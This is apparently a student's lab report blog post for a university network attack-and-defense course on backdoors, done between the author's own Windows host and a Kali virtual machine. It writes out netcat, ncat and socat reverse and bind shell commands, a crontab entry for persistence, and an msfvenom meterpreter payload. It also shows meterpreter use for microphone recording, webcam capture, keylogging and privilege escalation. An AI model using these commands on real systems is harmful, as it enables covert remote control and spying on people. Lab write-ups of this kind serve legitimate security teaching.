2018-2019-2 网络对抗技术 20165202 Exp2 后门原理与实践
博客目录
- 一、基础问题回答
- 二、实验准备:后门软件
- 三、实验内容
- 1.使用netcat获取主机操作Shell,cron启动
- [2.使用socat获取主机操作Shell, 任务计划启动](#使用socat获取主机操作Shell, 任务计划启动)
- [3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell](#使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell)
- 4.使用MSFmeterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 四、实验中遇到的问题及解决
- 五、实验总结
一、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 从网上下软件,可能某个免费软件其实是被程序员留了后门,并且后门程序被恶意利用
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows中组策略启动脚本后,设置启动关机设置,然后把后门设置到隐蔽目录,再写个启动脚本,实现木马启动。Linux中的crontab命令启动连接
(3)Meterpreter有哪些给你映像深刻的功能?
- 截图和录像、录音,很容易泄露隐私
- 记录击键功能,有可能获得密码等文字信息
(4)如何发现自己有系统有没有被安装后门?
- 及时开启防火墙,检查端口有无异常;
- 使用杀毒软件,实时监控电脑,定时对系统扫描杀毒;
- 定期查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。
二、实验准备:后门软件
1.Windows获得Linux Shell
- 在Windows下,先使用
ipconfig
指令查看本机IP:192.168.153.1
- 把ncat放到
Adinistrator
目录下,使用ncat.exe程序监听本机的5202端口:
- 使用虚拟机,在Kali内使用nc指令的
-e
选项反向连接Windows主机的5202端口:
- 主机Windows下成功获得了一个Kali的shell,运行ls指令如下:
2.Linux获得Windows Shell
- 使用虚拟机,在Kali内用ifconfig查看IP192.168.85.129:
- 使用 nc 指令监听5202端口:
- 在Windows下,使用ncat.exe程序的-e选项:
ncat.exe -e cmd.exe 192.168.153.129 5202
反向连接Kali主机的5202端口:
- Kali下可以看到Windows的命令提示,可以输入Windows命令:如
dir
获取目录
3.使用nc传输数据
-
Windows下监听5202端口:
ncat.exe -l 5202
-
Kali下连接到Windows的5202端口:
nc 192.168.153.1 5202
-
建立连接之后,就可以传输数据了,这里传输的是字符串,同理,可以用重定向操作符来传输文件:
4.使用ncat实现文件传输
- 先在windows中打开监听,然后在linux系统中发送文件:
-传输的文件保存在了C:\Users\Administrator\ncat路径下,可以查看:
三、实验内容
1. 使用netcat获取主机操作Shell,cron启动
-
在Windows系统下,使用ncat.exe -l -p 5201监听5201端口
-
在Kali环境下,使用man crontab命令查看crontab命令的帮助文件。从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
-
度娘搜一下:
crontab命令用于安装、删除或者列出用于驱动cron后台进程的表格。用户把需要执行的命令序列放到crontab文件中以获得执行。
-
contrab命令参数解读:
-l 在标准输出上显示当前的crontab。
-r 删除当前的crontab文件。
-e 使用VISUAL或者EDITOR环境变量所指的编辑器编辑当前的crontab文件。当结束编辑离开时,编辑后的文件将自动安装。
- 用
crontab -e
指令编辑一条定时任务,选择vim.basic编辑器
- 在最后一行添加
6 * * * * /bin/netcat 192.168.153.1 5202 /bin/sh
,每个小时的第6分钟反向连接Windows主机的5202端口,我将时间设置在了当前时间的2分钟以后:
- 当时间达到要求,Windows已经获得了Kali的shell,可以输入Kali的指令:
2. 使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 在Windows系统下,打开控制面板中的管理工具,任务计划程序,
创建任务
,编辑触发器
:在开始任务选项选择“当锁定任何用户的工作站时”
- 在操作中,程序或脚本选项填写自己的socat.exe路径,在参数一栏写上
tcp-listen:5202 exec:cmd.exe,pty,stderr
,把cmd.exe绑定在5202端口,把cmd.exe的stderr重定向到stdout上 - 创建完成后,锁定计算机并再次打开,发现任务开始运行:
- 在Kali终端中输入指令socat -tcp:192.168.153.129 5202,之后发现获得了cmd命令行:
3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 关闭防火墙(缺乏此步骤将导致文件无法传输)
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 -f exe > 20165202.exe
生成后门可执行文件
-
在cmd命令行中输入ncat.exe -l 5202 > 20165202.exe,同时在Kali终端中通过nc 192.168.153.129 5202 < 20165202.exe指令将生成的后门程序传送的Windows上
-
在Kali上使用
msfconsole
进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
- 执行监听
exploit
- 之后在明亮行中打开Windows目录下的后门程序:
此时Kali已经获得了Windows主机的链接,并且得到了远程控制的shell:
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令截获一段音频:
- 使用webcam_snap指令使用摄像头拍照
- 使用webcam_stream指令进行录像
- 使用screenshot指令进行截屏
- 使用
keyscan_start
开始记录击键,keyscan_dump
指令读取击键记录,keyscan_start
结束
- 使用getuid查看当前用户,getsystem进行提权
四、实验中遇到的问题及解决
问题1:nc未找到命令
解决办法:改用netcat全拼...一些指令执行情况不太一样,学长博客也不一定可靠=-=,后来看了其他同学的博客得以解决。
问题2:kali没有ipconfig
解决办法:此处比较zz,姿势水平不够的后果...百度一下,原来人家应该是ifconfig(我去换眼镜了)
问题3:有些同学反映后面的实验步骤不能传文件,应该是防火墙的事
解决办法:
问题4:第四环节getsystem提权失败
解决办法:很多同学也遇到了这个问题,我参考了很多地方都没有解决。绕过UAC的方法也试了,都没有成功
五、实验总结
之前一直听学长说网络攻防很有意思,这次做了实验才真正有了体会。当我做到打开摄像头这些操作时,真的有一点震惊与喜悦,原来之前dalao们的神奇操作我也可以做到哈哈哈。虽然都是弱鸡水平,但这次实验一下子激发了我对这门课的兴趣,一颗赛艇。同时,我们也更要提高安全意识,一个小小的漏洞就可能把我们的隐私全部泄露,信息安全确实值得高度重视。